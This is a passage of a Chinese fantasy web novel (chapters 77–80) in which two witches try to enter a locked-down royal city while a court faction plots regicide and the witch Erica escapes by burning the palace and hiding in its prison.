尤莉尔原本坐在树下休息,见梅拉从灌木丛后钻出来,她还以为一行人能够进城了,便直接站了起来,顺势拍了拍袖子上不小心沾上的草叶。 梅拉“嗯”了一声,将打听来的事情一五一十地同尤莉尔说了一遍。 顿时,尤莉尔的眼神控制不住地往一旁西维里的身上飘,显然也和梅拉猜到了同一件事。 “那我们是不是得绕路?”尤莉尔问道。 梅拉却摇了摇头,告诉她接下来的路程并不是简单的绕路就能行的。 “既然他们要找人,就不可能只戒严了这一座城。” 更有可能的是,接下来她们遇到的每座城池都存在着类似的情况。 “那怎么办?我们现在离王……还有至少四五座城。”意识到自己差点说漏嘴,尤莉尔险而又险地停顿了一下。 “让我再想想,我们今晚只能暂时先留在野外了。”梅拉安排道。 “好。”尤莉尔没有异议。 殊不知,她们以为太累了而在树下打盹的西维里,正仗着斗篷的遮掩,悄悄地竖起了耳朵。 西维里尽管任性妄为,看起来好像被伊莱雅宠得毫无头脑的模样,但他并不是真的不聪明,因此哪怕梅拉同尤莉尔交谈时故意遮遮掩掩的模糊了许多细节,他还是捕捉到了最关键的信息。 竟然有一名加德纳此刻就在城中! 从王城来的大臣,那铁定是西维里的老师福森无疑。 想到这,西维里的心情不由一振。 他之前之所以没有想办法找机会逃跑,除了畏惧梅拉那些折磨人的咒语,以及梅拉确实看得他很紧之外,也是因为西维里很清楚,他孤身跑走不一定是安全的。 他最信任的侍从背叛了他,他却不知道那名侍从效忠的主人究竟是谁,万一他跑出去,又撞入了幕后主使的手中该怎么办。 故而西维里宁可忍气吞声地跟着梅拉她们一道前行,起码她们目前正在朝王城的方向接近。 只是好运来得如此猝不及防,福森竟然为了找他离开了王城。 福森可是母亲当初亲自为他找的老师,总不至于会像那低贱的侍从一样背叛他了吧?西维里如此想到。 他已经迫不及待地想要见到福森,让他送自己回到母亲身边了。 等母亲抱着他喜极而泣的时候,他一定要趁机提出,让她派人抓住梅拉与尤莉尔这两个可恶的女巫,再把她们关进监狱里狠狠折磨一通,以报他在她们手下遭受过的屈辱。 西维里一回想起自己难受得要命的那些时刻,简直咬牙切齿极了,眼中的决意更盛。 很快,他的心中悄然形成了一个计划。 晚上,梅拉找来的树枝堆在一起,燃起了篝火。 这附近尽是平坦的土地,所以梅拉三人只能将就着各自靠着一棵树,以靠坐的姿势勉强睡了过去。 偶尔有火星溅起一阵细微的响动,噼里啪啦的落在西维里的耳中,让他睁开了紧闭多时的眼睛。 他故意动作极大地翻了个身。 过了一会儿,见梅拉与尤莉尔并没有反应,他又刻意咳嗽了几声。 很好,依然没有惊醒梅拉与尤莉尔。 看来她们真的睡熟了。 西维里心下窃喜,立刻蹑手蹑脚地起身,朝远离火堆的方向走去。 在他走后,又过了至少一刻钟,尤莉尔才睁开眼,开口问道:“我们就这么放他走了?” “没办法,谁让我想不到其它更好的主意呢。”梅拉的眼中同样一片清明,可见刚才并未真的睡过去。 既然戒严是因为西维里而起,她们又不可能带着西维里躲过重重检查混入城中,那丢下西维里就是了。 说到底,梅拉两人如今的身份还是无害的平民,暂时没人会对她们怎么样。 只是尤莉尔不明白,“那我们为什么不干脆把他丢到城门附近,直接离开,还要浪费时间陪他演这么一出?” “直接把他丢到城门口,你就不怕他马上命令守卫把我们两个抓起来吗?” 梅拉站起来,抖了抖裙子,让上头的草屑和尘土滚落在地。 “再说了,他这会儿突然出现,正好替我们引开城中那些大人物的注意力,方便我们连夜绕路,先一步去往王城。” 梅拉也不需要西维里拖住其他人太久,哪怕只有半天,对她们来说便已经足够。毕竟这里离王城实在太近了,近到若是乘坐马车,不眠不休地赶上三天三夜的路,就能成功抵达她们此行的终点。 说着,梅拉抬头,呼唤唯一站在树梢上睡熟了的塞拉斯,“塞拉斯,塞拉斯,快点醒醒,我们要走了。” “走?走去哪?”塞拉斯一脸迷糊,还以为自己仍然在做梦。 “当然是去找艾莉卡了。”梅拉理所当然地道。 这不就是她们一路走来的目的吗。 见梅拉毫不犹豫地往与西维里离开时相反的方向走去,尤莉尔跟上她,问出了盘亘心中许久的问题:“你之前,难道是早就料到会有这一遭,所以才特意带上了那小鬼?” “那倒不是。”梅拉理直气壮地答,换做任何一个正常人,刚从几名歹人手里救下一个六岁的孩子,都不会放任他独自离开的吧。 更何况西维里还不是普通的孩子,他王子的身份就像是一把双刃剑,会让一些人畏惧王室的威严不敢轻易对他动手,也会让一些人因为贪婪而对他生起歹意。 梅拉想着,正好她们也要前往王城,顺便把西维里带上也没什么。 说不定还能因为西维里获得一些意外之喜呢? 要知道王城现在可是在伊莱雅的控制之下。 只要她不想让梅拉伤害西维里,总得做出一些让步吧?这就叫投鼠忌器。 不过,如今还没到王城,西维里这张底牌就先一步打了出去,梅拉尽管不后悔,心底却一直萦绕着一股淡淡的不安。 她趁着空隙抬头望了一眼夜空,厚重的云层将星星遮了起来,也不知道意外和明天哪个会率先来临。 第78章 第 78 章 [你终于回来了,艾莉卡…… “安东尼奥, 凯尔多,你们俩还没有找到西维里吗?” 王宫内,哪怕再精致的妆容,也无法遮掩伊莱雅的怒意。 她冰冷的目光刺在面前这两个长相与她有三四分相似的男人身上, 内心却只觉得一阵厌烦。 她这些年费劲心思将他们放到了如此重要的位置上, 结果到头来竟然一点用处也没有,连找个孩子都找不到。 凯尔多看了沉默的兄长一眼, 硬着头皮道:“我已经派了不少人追着西维里失踪那天乘坐的马车去找了, 只是拐走西维里的人异常狡猾, 等我们的人把马车拦下, 发现里头根本是空的, 西维里早就被他们另外带去了别的地方。” 更别提在意识到自己要被捉住后,那几个人便掏出藏在怀里的匕首,干脆利落地自杀了, 坚决不肯给凯尔多的人留下逼问有关西维里下落的机会。 线索断在这, 凯尔多就是再急也没办法,毕竟他总不可能掘地三尺,将整个王国全部翻过来一遍吧。 再说了,凯尔多倒是想掘地三尺也要将西维里给找出来,可如今这情况,西维里失踪这事怎么能泄露出去,那岂不是雪上加霜吗。 “再给我点时间, 伊莱雅, 说不定过两天就会有好消息传来呢——”凯尔多苍白地道。 “你还要多少时间?再拖下去,西维里的安危谁来保证!”伊莱雅不耐烦再听凯尔多的借口,随手打翻桌上的花瓶。 随着一阵清脆的响声,花瓶四分五裂, 早晨刚由侍女从花园内剪下的花朵纷纷从花瓶中掉出来,被伊莱雅毫不留情地踩在了脚下。 “现在杜伦的情况你们也知道,如果他撑不过来,西维里就是我们裘德家族以后唯一的指望。若是西维里没了,你以为你们屁股底下的位子还坐得住吗?” 一想起这事,伊莱雅便有些咬牙切齿,这一切全都是场阴谋。 两个月前,杜伦,即努伦格尔九世忽然一病不起,伊莱雅找了不少医士,都没能让努伦格尔九世好起来。 无法,伊莱雅只能先将努伦格尔的情况瞒住,否则西维里如此年幼,怎么压得住底下那些不怀好意的贵族们。 要知道这些年伊莱雅之所以能无所顾忌地行事,甚至插手政务,皆因这是努伦格尔九世在背后替她撑腰,若是换成西维里,伊莱雅以及裘德家族风光的日子必将一去不复返。 好在这些年努伦格尔九世经常找借口逃避与大臣们见面,伊莱雅倒也成功将他的病情瞒了一个多月,只不过忙得脚不沾地,难免疏忽了西维里。 谁想就是这么一疏忽,西维里便被人从王宫里骗了出去。 而努伦格尔九世病重的消息,忽然就像载了风一样从王宫里飞了出去。 “别着急,伊莱雅,福森不是也去找了吗?说不定他那头能找到一些线索呢?”安东尼奥见状,只好出声替凯尔多分担一些属于伊莱雅的怒火。 当初正是考虑到这一点,伊莱雅才分别派了福森和凯尔多分头寻找西维里,以防万一。 如今看来,她倒是很有先见之明。 可伊莱雅却宁愿自己不需要将希望寄托在一个不属于裘德家族的外人身上。 “行了,你们都给我滚。” 伊莱雅闭了闭眼,实在不想再看到这两张蠢脸。 安东尼奥和凯尔多对视一眼,忙不迭地离开了,他们也不想再战战兢兢地陪着伊莱雅,从小这个堂妹就喜怒无常得令人害怕,难怪能和当时还是王储的杜伦凑到一起。 过了一会儿,房门再度被人推开,伊莱雅不耐烦地吼道:“我不是叫你们滚了吗?还有什么事?” “是我回来了。” 女人平静的声音响起,成功压下了伊莱雅心头烧得正旺的火气。 她转身,定定地看着站在面前的女人好一阵,嘴角总算挂上了一丝笑意,“既然你回来了,那就赶快去帮我看看杜伦的情况吧,艾莉卡。幸亏有你留下的药剂在,否则我真不知道该怎么办了。” * “天呐,没想到莱克斯殿下失踪这么多年竟然还活着,真是不可思议。” “是啊是啊,我看当初说不定他就是故意失踪的,然后一直藏在弗霍斯特庄园里。如果不是这回国王陛下重病,王后殿下打算立新的王储,他说不定还要继续藏下去。” 热闹的酒馆里,梅拉的耳朵内不停地钻入莱克斯的名字。 也不知该说她和尤莉尔是幸运还是不幸。 随着她们进入这座城后,梅拉才得知,如今晚上不再允许任何人随意出城,也就是说,她们必须在这里呆上一夜。 梅拉本来想直接休息,结果在去旅舍的路上听到了莱克斯的名字。 她的脚步一顿。 于是顶着尤莉尔审视的目光,梅拉抬腿步入城内最热闹的酒馆,找了个安静的角落坐下。 若不是这样,梅拉还没法得知手上的通行凭证没法再用了。 毕竟上面还印着弗霍斯特家族的家徽。 这会儿伊莱雅最恨的应该就是弗霍斯特家族的人了吧。 如果梅拉她们就这么大喇喇地拿着这份通行凭证前往王城,大概就像自己往树桩上撞的兔子一样蠢。 想到这,梅拉默默地喝了一小口杯子里的葡萄酒。 尤莉尔对酒不感兴趣,她静静地坐在梅拉对面,一脸的忧心忡忡。 梅拉用不着猜都能知道她这会儿心里在焦虑什么。 无非是通行凭证不能用了,该如何在戒严的情况下混入王城。 对此,梅拉也没有太好的办法,只能是走一步看一步,说不定到时候形势又有了新的变化呢。 “走吧,先回去休息。”梅拉率先起身,还剩小半杯的绀红色酒液在杯子里轻轻地摇晃,映照出她平静的脸色。 尤莉尔愣愣地点头,跟在了她的身后。 结果裙摆滑过,却不小心带翻了那小半杯残余的葡萄酒,在桌面上滴滴答答地流了一道。 听到动静,很快便有人举着抹布前来收拾干净,尤莉尔的脸色却一下子苍白了几分。 她惶惶不安地看向梅拉,“你说……” 如果是别人,大概只会当这是个不小心造成的意外。 但对于女巫来说,一些“意外”很可能就是对她们的“提醒”,再不想办法,噩运或许就要降临了。 “别想太多。”梅拉摇了摇头,觉得尤莉尔有些太敏感了,不过是碰倒一杯酒而已,她连裙子都没脏,可能真的只是个意外。 尤莉尔也不知道该怎么和梅拉解释自己的在意,只好沉默下来。 只不过在上楼的时候,尤莉尔一脚踩空,差点从楼梯上摔了下去。 幸好梅拉眼疾手快地拉住了她。 不过她们这会儿离地面并不远,就算尤莉尔摔下去,大概也不会受到太严重的伤。 “你这会儿还觉得我是想太多吗?”尤莉尔苦笑着问。 这回换梅拉沉默了。 “先休息吧。”好一会儿,梅拉才道。 于是她们在房门前分别。 梅拉躺到床上,她刚才沉默,想的并不是她和尤莉尔之后难道会遇到什么危险,而是她们俩明明一直在一起,受到提醒的却只有尤莉尔,总不可能两人中只有尤莉尔要倒霉吧? 或许要遇到危险的并不是尤莉尔,而是艾莉卡。 她们毕竟是血脉相连的亲人,冥冥中存在一份血浓于水的感应也说不定。 感应啊。 梅拉想到那粒误导了她的生命之种。 思绪渐渐飘回了弗霍斯特庄园的那个晚上。 那天晚上,梅拉提出让莱克斯不用送她了之后,莱克斯的脸色肉眼可见地变得有些难看。 “莱克斯,你的脸色好差。” 结果梅拉还要不知死活地挑战莱克斯即将耗尽的耐心。 “振作一点,不是道过一次别了吗?要学会习惯啊,莱克斯。” “不管再来多少次,我都不会习惯。”莱克斯微微撇开脸,不去看梅拉满不在乎的表情,以免真的控制不住自己的情绪。 “哎,那你要让我怎么办才好呢?”梅拉在石桌前坐了下来,撑着一张脸,苦恼地凝望着莱克斯棱角分明的下颌。 “给我一个找到你的办法。” 莱克斯忽然将脸转回来,居高临下地与梅拉对视。 “一个不管你在哪,我都能找到你的办法。” “可我又不会跑?” “所以你打算留下来,不走了?”莱克斯学着梅拉那样轻挑眉梢,却将唇抿成了一条直线。 “我是说回到黑暗森林之后。”梅拉无辜地眨了眨眼睛,她住了许多年的小木屋还在那,她能跑到哪去。 “你能保证你不会在哪天又忽然带着塞拉斯搬走了吗?”莱克斯仍然步步紧逼,非要梅拉给一个承诺。 “……真拿你没办法。” 梅拉从布袋子里掏了掏,掏出了那颗发了芽的生命之种。 虽然随着尤莉尔被救出来后,它的叶子俨然枯萎、掉落,可这几天尤莉尔重病,它又有了鲜活起来的模样,冒出了两片新的绿芽。 梅拉毫不留情地把这两片绿芽拔掉,咬破指尖,将自己的血滴在了种子上,同时嘴里念念有词,念着莱克斯听不懂的咒语。 这还是她和尤莉尔讨论过生命之种是如何制成后得来的灵感。 看着这粒毫不起眼的种子将梅拉滴上去的血转瞬便吸收干净,莱克斯皱了皱眉,没有说什么。 “好了,你把它拿着吧,之后你要是想找我,就在心中默念我的名字,然后把它放到地上转一圈。它停下来的方向,就指示着我所在的方位。”梅拉将种子放到莱克斯的掌心。 生怕莱克斯不信,梅拉还特意站起来,走远了一些,让他试一试。 莱克斯直接伸手,任种子躺在自己的掌心,将它拨弄了一圈,它最后果然指向了梅拉所在的位置。 “怎么样?”梅拉走回来,好奇地想看莱克斯掌心中的种子。 却让莱克斯提前合上了手,不让她看。 梅拉:“?” “看来你没有骗我,种子我一定会收好的。”莱克斯道。 “知道了知道了,这么晚了快回去睡觉吧,你不困我都困了。”梅拉打了个哈欠,推着莱克斯的腰往前走。 此时此刻,远在弗霍斯特庄园的莱克斯顶着窗外洒进来的月光,从放在床头的珐琅盒子里取出一粒平平无奇的种子,放在手心中,拨弄了一圈。 看着它停下来,指向同昨夜一样的方向,莱克斯感受到了一阵难言的心安。 不管再分开多少次,只要知道梅拉在哪,他就一定能再找到她。 第79章 第 79 章 [王宫大火] 远处就是巍峨的王城, 高大的吊桥横亘在宽阔的护城河上,供人们往来城内外。 直到日落时分,铁索将吊桥缓缓拉起,王城彻底封闭成固若金汤的铁桶一般。 除非像塞拉斯这样能肆无忌惮地翱翔于高空之上, 否则就只能同梅拉与尤莉尔一样站在远处遥望, 等待塞拉斯捎回的讯息。 塞拉斯绕着王城飞了一圈,时不时还会落下去, 查看城墙的情况, 最后, 它落回到梅拉的肩头, 用喙理了理几根凌乱的羽毛, 这才抱怨道: “不行啊梅拉,我刚才转了一圈,发现每一块石砖上连道裂缝都没有。” 也就是说, 她们连利用裂缝, 弄出一个能悄然进入城内的小洞都做不到。 “我知道了。”梅拉本就没对这一计划抱有多大的期望,此刻听了塞拉斯的话,也就谈不上多少失望。 想想也是,这里可是王城,如果真的这么容易想办法进入,那待在王宫里的努伦格尔一家子岂不是每天晚上都要担心得睡不着觉了。 “或许我们可以试试能不能从护城河进去。”梅拉很快又有了一个新的主意。 “可我不会游泳。”尤莉尔不好意思地道。 她从小生活在山上,连河都没下过, 更别提跟着梅拉跳入护城河中寻找有没有可能存在的地下入口了。 怕不是刚下水就要挣扎着靠梅拉救起来。 “没关系, 我一个人先进入河里探探情况,其实还不一定真的能找到地下入口呢。”梅拉安慰了尤莉尔一句。 若是找不到,她们还得再想想别的办法。 若是找到了,尤莉尔也能留在城外随时接应。 “起码这样有个好处, 那就是我们不会被一网打尽了。”梅拉幽幽地说了个冷笑话。 尤莉尔顿时露出了难以言喻的表情。 总之,得等天黑了才好行动。 梅拉也就不急着接近护城河,而是和尤莉尔找了点吃的填肚子。 她们不敢生火,担心冒起来的烟会让城墙上的守卫发现不对劲。 于是等到夜幕降临,四周一片漆黑,幸好女巫的五感比常人更敏锐,梅拉还不至于在黑暗中无法前行。 只是她还没来得及行动,忽然从一阵掠过的风中嗅到了不同寻常的味道。 “我怎么好像闻到了烧焦的味道。” 偏偏这股气息只是若有若无地夹杂在风里,让梅拉有些拿不准判断。 尤莉尔听了,也跟着吸了吸鼻子,有些犹豫地道,“……好像是有点?” “不然先让塞拉斯飞起来看看情况?” 梅拉想了想,抛出塞拉斯,“塞拉斯,那就拜托你了。” “没问题。”塞拉斯信誓旦旦地答道 它挥动翅膀,飞得越来越高,越来越高,总算看见了王城内隐隐冒起了火光。 塞拉斯试图看清到底是哪里着了火,结果没过多久,火势便蔓延成灾,连站在地面上的梅拉与尤莉尔都看见了那冲天的火光。 “这是……怎么一回事?”梅拉同尤莉尔对视一眼,都有些摸不着头脑。 * 艾莉卡很久没有这么狼狈过了。 上一次,还是十几年前,那会儿也是在王城,她被一群人追赶着,慌不择路地往前逃去。 没有想到,多年前的一幕竟与这会儿的情形诡异地重合到了一起,简直像是时光倒流。 艾莉卡无声地扯了扯嘴角,轻车熟路地让壁上的蜡烛掉到地上,烧起一团又一团的火焰,阻挠身后试图将她捉起来的守卫们。 这时候她甚至有些庆幸,因为努伦格尔九世奢靡的习惯,往往天刚擦黑,侍女们就要点亮一根又一根的蜡烛,让这座华丽的宫殿即使在夜晚也要亮如白昼。 否则艾莉卡还真不好拖延到现在。 时间回到数个小时之前,伊莱雅收到了福森递来的消息,整个人惊喜不已地从椅子上站了起来。 福森先一步派回来的信使告诉伊莱雅,西维里已经在三天前找到了!此刻福森正带着他在赶回王城的路上,大概日落之前就能顺利回到王宫之中。 然而当福森真的带着西维里抵达王宫大门时,太阳还没正式开始朝西方坠落。 此时,同样得到伊莱雅的消息,匆匆赶来的安东尼奥与凯尔多在走廊上碰面,最后喜气洋洋地站到了伊莱雅的身旁,陪她一起翘首以盼西维里的回归。 “母亲!” 远远地见到门后的伊莱雅,西维里便忍不住跑了起来,径直扑入俯下身的伊莱雅怀中,很是依恋地蹭了蹭她的脖子。 伊莱雅也很是想念西维里,这些天的担心最终化为一声长长的叹息,“母亲的小里尔终于回来了,下次不许再这么乱跑出王宫了知道吗?” “是啊是啊,小里尔,在得知你忽然失踪之后,我和你安东尼奥舅舅都担心坏了。外面这么危险,你作为我们最尊贵的王储殿下,万一有个三长两短,我们和你母亲该怎么办才好。”凯尔多忙不迭附和道。 只是在他说完之后,伊莱雅原本因为西维里而温柔下来的神色重新沉下来,毫不留情地斥道;“不会说话就把你的嘴闭上!” 听听凯尔多刚刚说的都是什么话,一句两句分明是存心往伊莱雅的肺管子上戳。 自从努伦格尔九世病重的消息暴露,大臣们纷纷要求伊莱雅必须立刻将西维里立为新的王储,以防万一。 说起来也真是的,明明努伦格尔九世一共就两个孩子,他又明摆着不喜欢莱克斯这个长子,甚至在人失踪后都没用心去找。按理来说,他应该会迫不及待地将西维里立为新的王储了吧? 结果努伦格尔九世不,他以西维里还太小为理由,拒绝将他马上立为新的王储,起码得等到他长到十岁之后再说。 大臣们想了想,也觉得立一个刚经历完新生洗礼的婴孩为王储,确实有一定的风险,万一他没长大夭折了呢?这年头就算是王子,也不一定能打包票说他一定就能顺利长大。 渐渐的,也就没有大臣再在努伦格尔九世面前提起这个话题了。 可这会儿不一样,西维里都六岁了,一般来说不会再轻易出现夭折的情况,何况他的身体又不像努伦格尔九世的兄弟,杜瑟公爵那样虚弱,反而让伊莱雅养得像头健壮的小牛犊,一在王宫内横冲直撞起来能闹得到处都是人仰马翻。 再加上努伦格尔九世都病了这么久了,看起来随时都有撑不住的可能,正是让西维里成为王储的好时机。就算努伦格尔九世最后撑下来了,他们这些大臣也没做错什么嘛。 若是换成以前,伊莱雅终于能让西维里成为王储,明艳动人的脸蛋上自然掩不住喜色。 可此时听到大臣们的提议,伊莱雅的表情却格外阴沉,她的西维里正流落在外,万一立为王储的消息传出去,他让更多的人盯上了怎么办? 他们会不会故意捉住她的孩子,只为了用来要挟她? 尽管脑中翻涌过无数的念头,伊莱雅面上还是得沉住气,如果她不答应,这些大臣们恐怕就要怀疑其中的缘由了。到时候,或许西维里失踪的事情就瞒不住了。 因此,伊莱雅最终还是在大臣们的串掇下,将西维里立为了新的王储。 然而伊莱雅没想到,就因为她将西维里立为了新的王储,莱克斯便跳出来,让人将他还活着的消息散播了出去。 这下子,西维里的王储身份顿时变得名不正言不顺,哪怕努伦格尔九世之后真的咽了气,也轮不到西维里来继承王位。 该死的莱克斯!他当初怎么就没真的死在黑暗森林。 伊莱雅气得又砸坏了不少东西。 哪怕现在西维里回来了,伊莱雅一听凯尔多提起王储这事,还是控制不住心中的火气。 “其实王后殿下倒也不必为凯尔多骑士长的话而生气,我相信只要王后殿下愿意,西维里殿下之后一定能成为货真价实的王储殿下。”福森露出一个和蔼的笑容,主动替凯尔多说了好话。 “什么意思?”伊莱雅直起身,与福森对视。 她当然想要西维里成为货真价实的王储殿下,可按照该死的法律,长子拥有绝对的继承权,西维里永远不可能越过莱克斯得到大臣和贵族们的承认。 “话是这么说没错,但如果莱克斯殿下杀了他的父亲,就算他拥有绝对的继承权,也是不能继承王位的吧。”福森故作苦恼地道。 闻言,伊莱雅张了张嘴,却发不出任何声音来。 她一下就明白过来福森的意思了。 可是杜伦虽然病重,却不是没有活下去的希望,她都拜托了艾莉卡,有精通草药的女巫在,杜伦一定不会死的—— “王后殿下。”福森仍然笑着,笑容里还带着些许慈爱。 他比伊莱雅大了近十岁,勉强算得上她的长辈。 “人不能太贪心,国王陛下和西维里殿下之间,您必须选出一个更重要的才行。否则失去了这次机会,您就再也没法像以前一样轻而易举地按住莱克斯殿下了。” 毕竟莱克斯已经成年了不是吗? 比起仍然年幼的西维里,莱克斯作为已经成年且曾经就是令众人满意的王储殿下,可以说除了伊莱雅身后的裘德家族,或许还有努伦格尔九世之外,没有人会在两人之间选择让西维里上位。 “可……”伊莱雅怔怔的,她就是贪心,一边是她心爱的丈夫,一边是她珍爱的孩子,她怎么可能选得出来。 “好吧,女人总是这样心软。” 见状,福森叹了口气,看向一旁的安东尼奥与凯尔多,“但我相信二位会有更聪明的选择,对吗?” “伊莱雅,你可以没有丈夫,但裘德家族绝对不能失去一位国王。”安东尼奥与凯尔多对视一眼,开口道。 显然,他们早已有了决断。 “你们、你们怎么能这么冷酷?杜伦他这些年对我们裘德家族还不够好吗!”伊莱雅怒极。 如果没有努伦格尔九世的默许,伊莱雅怎么可能说赶走斐南基就赶走斐南基,说让凯尔多担当骑士长就担当骑士长。 “就是因为好不容易爬到了如今的位子,所以我们绝不能眼睁睁地看着自己跌落尘埃。” 安东尼奥笑了笑,眼中对伊莱雅这个堂妹一点温情也无,毕竟平日里伊莱雅也没怎么给他们好脸色看,反而还要他们两个堂兄战战兢兢地捧着她、哄着她。 “就算你拒绝也没有用,伊莱雅,你这个王后早该退居幕后了,我们两位舅舅会好好辅佐西维里成为合格的国王陛下的。”凯尔多插话道。 “现在,我们安排的人大概已经得手了吧。” 与此同时,努伦格尔九世的房间内,穿着和其他侍女一模一样衣服的艾莉卡打破窗户,先一步逃了出去。 “守卫,抓住她!她是莱克斯殿下特意派来杀害国王陛下的人!” 被凯尔多派来解决努伦格尔九世的人没想到自己竟然让一个女人给逃了,他立刻冲到走廊外,将这口黑锅死死地扣在了艾莉卡与莱克斯的身上。 不明所以的守卫闻言,先是愣了一下,让这惊天动地的消息炸得头皮发麻,然后才回过神来,赶紧抓着长矛,试图追上艾莉卡。 这会儿夜幕早已降临,王宫各处都让明亮的烛光照耀得仿佛太阳从未坠落,艾莉卡不管逃到哪,她的身影都无所遁形。 然而随着她的脚步,烛火滚落在地,点燃了华丽的地毯,名贵的绒布,蔓延成熊熊的火势,一路烧向王宫各处,也让守卫们的追击不得不放缓了速度。 在惊慌失措的侍女们的尖叫声中,他们得先救火才行。 第80章 第 80 章 [终于找到艾莉卡] 梅拉跳入了护城河中, 几乎没有发出动静,便整个人浸入水下。 起初梅拉的动作还算轻盈,随着衣服被河水打湿,越来越沉重地黏在皮肤上, 即使是梅拉也感到了一点吃力。 尤其围绕着王城的这条护城河太大, 梅拉只能一次次地上浮、下潜,甚至上手去拨弄似乎存在的缺口。 与此同时, 另一头的艾莉卡烧了大半座王宫, 利用火势暂时拦住了追兵, 但她很清楚, 这会儿吊桥已经回收, 没有任何人离得开这座防护得如同铁桶一般的城池,她必须找到一个安全的地方躲起来。 可偌大的王城哪里有什么安全的地方呢?只要等火势被控制住,艾莉卡无论躲到哪都不可能躲得过守卫的搜查。 早在王宫出现动静的时候, 就有好奇的居民自窗口处探头探脑, 等目睹火势烧起来后,街道上开始出现三三两两的围观者。 因此一个红发的女人混入其中,竟然没有惊动任何人。 艾莉卡如同一尾游鱼,灵活地穿梭在人群之中,此刻她的脑中拥有一个异常清晰的念头,只要躲到那去,或许她就有很大可能熬过这一夜。 * 梅拉还在护城河中, 她的皮肤让已经河水泡得发皱, 眼睛也控制不住地在发酸,如果此时让尤莉尔来看,便能看到梅拉的眼眶已经红了一圈。 但她却像是没有感觉似的,仍然睁圆了眼睛试图透过浑浊的河水看清不远处的细节, 哪怕胸口处因为待在水下太久而越来越闷,梅拉却觉得她也许还能再坚持一会儿。 殊不知,这可把塞拉斯给急坏了。 对于塞拉斯来说,距离梅拉上一次从河里冒头已经过去了很久,它探着脑袋不停地往水下张望,却始终不见代表梅拉的黑色影子出现。 塞拉斯忍不住飞到河水上方,小声呼唤梅拉的名字。 “梅拉,梅拉,你没事吧?” 然而梅拉距离水面有一定的距离,再加上耳朵里灌满了河水作为阻隔,导致她压根没听到塞拉斯的声音。 不仅如此,梅拉似乎隐约看见前方有一处缝隙,她摆动身体,逐渐靠近那处仿佛泡久了有些开裂的墙隙。 梅拉伸出手仔细摸索了一阵,结果还真让她摸到了好几块有些松动的石砖,就好像曾经被人拆下来过又安回去了一样。 梅拉扣住石砖的边角,用劲往外一扯,一阵灰尘爆出来,连带着好几块石砖一起往河的最底下掉落。 梅拉不得不往后撤了一点,等烟尘随水流散去,一个足够容纳成年人钻过的黑洞出现在她的眼前。 咦,这个洞,是会通往哪里? * 艾莉卡无声无息地潜入了监狱。 大概没有人能想得到,她会主动藏在这里。 然而艾莉卡一路躲躲藏藏地过来,发现监狱外的守卫十分松懈,大概是因为关押在这里的人大部分不是什么穷凶极恶的歹徒,而是一群不小心惹了大人物们不快的倒霉蛋罢了。 听见脚步声传来,被关在牢房里的人也没有一个好奇地抬头,他们有些甚至翻了个身,露出衣服后巨大的破洞和太久没洗而发黑的后背。 一股难以言喻的臭味直冲鼻端。 艾莉卡只好用袖子掩住鼻子,继续往监狱的深处走去。 她打算好好查探一下这里,或许能给自己找出一条退路来,万一碰上意外,也不至于直接叫人瓮中捉鳖。 也不知道当初是怎么设计这座监狱的,反正监狱的面积很大,空荡荡的牢房也很多,艾莉卡只是试探性地伸手一推,竟然真的推开了一扇牢门。 还沾了一手陈年的铁锈味。 看起来,只要有点本事,想要逃离这里的难度并不大,艾莉卡若有所思地想到。 也不知道曾经有没有人试着逃出去过。 若是有的话,说不定会留下一点有用的东西。 * 梅拉顺着洞口进入了这条幽深的隧道。 从痕迹上来看,这条隧道并不是新挖出来的,而且,梅拉绕过突然冒出来的凸起,又跨过差点绊倒自己的石块,心中隐隐冒出一个古怪的念头: 当初挖这条隧道的人该不会是徒手挖的吧? 那可真是……太有毅力了。 也不知道得多闲才舍得花时间在这种事情上。 黑暗中,再敏锐的感官也无法捕捉时间的流逝,梅拉不知道自己走了多久,偶尔回头,身后是看不清来时路的隧道,再转过身来,眼前也是望不到头的深邃。 若是意志稍有点不坚定,此刻大概就要产生怀疑,然后忍不住打退堂鼓了吧。 偏偏梅拉一点也没有退却的意思,反而对隧道的尽头更加感兴趣了。 她来了一股劲,脚下加快了速度,又走了好一会儿,似乎真的看到了尽头。 尽头? 如果隧道有尽头,难道应该往上走才对? 梅拉踮起脚,尝试用力往上推了推,结果猝不及防地迎来一阵光亮,和一张堵在洞外的脸。 “梅拉?你怎么在这?”女人小声地轻呼。 “艾莉卡,你竟然在这?”梅拉也惊讶不已。 这下好了,她不用烦恼进入王城后该去哪找艾莉卡了。 不过现在并不是闲聊的好时候,梅拉让开位置,让艾莉卡跳下来,跟着她先走出去再说。 “你等等。”艾莉卡窸窸窣窣地准备了一番,在跳下来后又用东西将洞口堵上了,这才跟在梅拉身后往来时的方向走去。 “艾莉卡,你的脚怎么了?” 尽管艾莉卡掩饰得很好,但梅拉还是从她的动作中看出了一丝不对劲。 “没什么,只是之前跳窗逃跑时不小心崴到了脚而已。”艾莉卡轻描淡写地一笔带过。 这种伤势,对她来说还算不了什么。 “跳窗逃跑?你这段日子到底过的是什么样的生活。”梅拉有些难以想象。 “我还没问你呢,你怎么忽然跑到了王城,当初不是叫你离开白松镇都不肯离开吗?”艾莉卡皱眉,仗着比梅拉年纪大就端出了长辈的架子,甚至语气中还带着点沾沾自喜。 她就说,作为一名女巫,梅拉不可能一直留在白松镇维持着她平静的生活,异类总是很难在人群中特立独行下去的。 “那都是十一年前的事了,”梅拉平静地答,“比起这个,你还是先想想待会儿该怎么跟尤莉尔解释为什么一声招呼也不打就突然消失吧,到时候你的长辈架子大概派不上多少用场。” “什么?尤莉尔竟然也来了?”艾莉卡瞬间像被戳破的气泡一样泄了气,她心虚地摸了摸鼻子,不再吭声了。 也不知道是不是在心底认真揣摩待会儿糊弄尤莉尔的借口。 * “怎么回事,梅拉该不会在底下出事了吧?刚才不管我怎么喊她都没有回应,也好久没见到她出水换气了。” 塞拉斯着急忙慌地飞上来同尤莉尔汇报情况,同时六神无主地让她拿主意,这下该怎么办才好。 “你在这等着,我也下去。”尤莉尔说着就想往河里跳。 还是塞拉斯拼命咬住她的衣领,才制止了她的冲动。 “你又不会游泳,你下去干什么?把自己给淹死吗?” “那怎么办?总得下去看看梅拉的情况才行吧?”哪怕听了塞拉斯的话,尤莉尔仍然有些蠢蠢欲动。 “这……这……不然我下去?”塞拉斯提了个馊主意。 “……我还从来没见过鸟会游泳的。”尤莉尔一言难尽地扫了塞拉斯那一身羽毛一眼。 “那我们还能怎么办!”塞拉斯恼羞成怒地道。 尤莉尔也不知道她们能怎么办了。 要怪就怪她们之中偏偏只有梅拉一个人能下水,这会儿尤莉尔和塞拉斯再着急也只能绕着河边团团转,企图找到梅拉的身影。 